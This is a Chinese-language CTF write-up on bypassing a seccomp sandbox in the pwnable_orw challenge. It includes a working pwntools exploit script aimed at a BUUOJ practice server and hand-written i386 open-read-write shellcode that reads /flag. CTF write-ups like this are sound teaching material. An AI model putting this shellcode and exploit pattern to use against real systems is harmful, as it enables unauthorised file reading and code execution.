所谓orw,即open-read-write

seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的 syscall,但是当劫持程序流程之后通过 exeve 来呼叫 syscall 得到 shell 时 seccomp 边排上了用场,他可以过滤掉某些 syscall,只允许使用部分 syscall。

一般c沙盒逃逸题目都会使用类似seccomp的函数禁用掉一些系统调用,特别是execve 这里我们以pwnable_orw为例

例题

main这里有一个orw_seccomp()函数

点进去后可以看到有个prctl,详细信息可以看这篇博客

简单来讲第一个prctl会禁用掉execve()函数,并且还会通过clone和fork继承给子进程 第二个prctl呢是只允许使用open read和write函数,并且会把系统调用的函数过滤掉

这里我们用工具查看确实是这样

exp

shellcraft构造exp

from pwn import *

context(arch = 'i386', log_level='debug')

p = remote('node4.buuoj.cn',28837)

shellcode = shellcraft.open('/flag')

shellcode += shellcraft.read('eax','esp',100)
#read在函数调用中eax的值为3,因为前面open的返回值为3(0,1,2这三个句柄对应的是标准输入,标准输出,标准错误,下面write的1也是如此),所以这里eax改为3也是可行的

shellcode += shellcraft.write(1,'esp',100)

payload = asm(shellcode)

p.send(payload)

p.interactive()

xor ecx,ecx;
 xor edx,edx;
 push 0x0;        #字符串以\\\\x00结尾
 push 0x67616c66; #flag
 mov ebx,esp;
 mov eax,0x5;
 int 0x80;
#open
 mov ebx,0x3;
 mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址
 mov edx, 0x40;
 mov eax, 0x3;
 int 0x80;
#read
 mov ebx, 0x1;
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x4;
 int 0x80;   #write

这里贴一下手搓shellcode来更好的讲一下shellcode += shellcraft.read('eax','esp',100)

我们可以看到read函数调用的eax值为3,而open的返回值也是3,所以可以直接用eax代替3